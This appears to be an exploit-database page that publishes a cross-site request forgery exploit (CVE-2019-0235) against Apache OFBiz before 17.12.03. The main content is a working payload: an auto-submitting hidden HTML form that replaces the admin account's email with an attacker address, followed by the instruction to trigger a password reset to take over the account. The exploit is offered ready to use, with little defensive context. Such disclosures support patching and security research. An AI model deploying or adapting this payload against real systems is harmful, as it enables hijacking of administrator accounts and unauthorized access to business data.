Search for hundreds of thousands of exploits

"Apache OFBiz 17.12.03 - Cross-Site Request Forgery (Account Takeover)"

Author

Exploit author

"Faiz Ahmed Zaidi"

Platform

Exploit platform

java

Release date

Exploit published date

2020-05-01

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# Exploit Title: Apache OFBiz 17.12.03 - Cross-Site Request Forgery (Account Takeover)
# Exploit Author: Faiz Ahmed Zaidi
# Vendor Homepage: [https://ofbiz.apache.org/security.html]
# Software Link: https://ofbiz.apache.org/download.html#security
# Version: Before 17.12.03
# Tested on: Linux and Windows
# CVE : CVE-2019-0235

#Exploit Code:

<html>
  <body>
    <form action="https://hostipaddress:8443/partymgr/control/updateEmailAddress" method="POST">
      <input type="hidden" name="contactMechId" value="admin" />
      <input type="hidden" name="contactMechTypeId" value="EMAIL&#95;ADDRESS" />
      <input type="hidden" name="partyId" value="admin" />
      <input type="hidden" name="DONE&#95;PAGE" value="viewprofile&#63;party&#95;id&#61;adminΓ’&#136;&#130;yId&#61;admin" />
      <input type="hidden" name="emailAddress" value="attackeremail@id.com" />
      <input type="hidden" name="allowSolicitation" value="Y" />
      <input type="submit" value="Submit request" />
    </form>
	<script>
      document.forms[0].submit();
    </script>
  </body>
</html>

After that do a password reset via forget password.
It's done :)
Release DateTitleTypePlatformAuthor
2020-05-01"Apache OFBiz 17.12.03 - Cross-Site Request Forgery (Account Takeover)"webappsjava"Faiz Ahmed Zaidi"
2017-04-28"Admidio 3.2.8 - Cross-Site Request Forgery"webappsphp"Faiz Ahmed Zaidi"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/48408/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.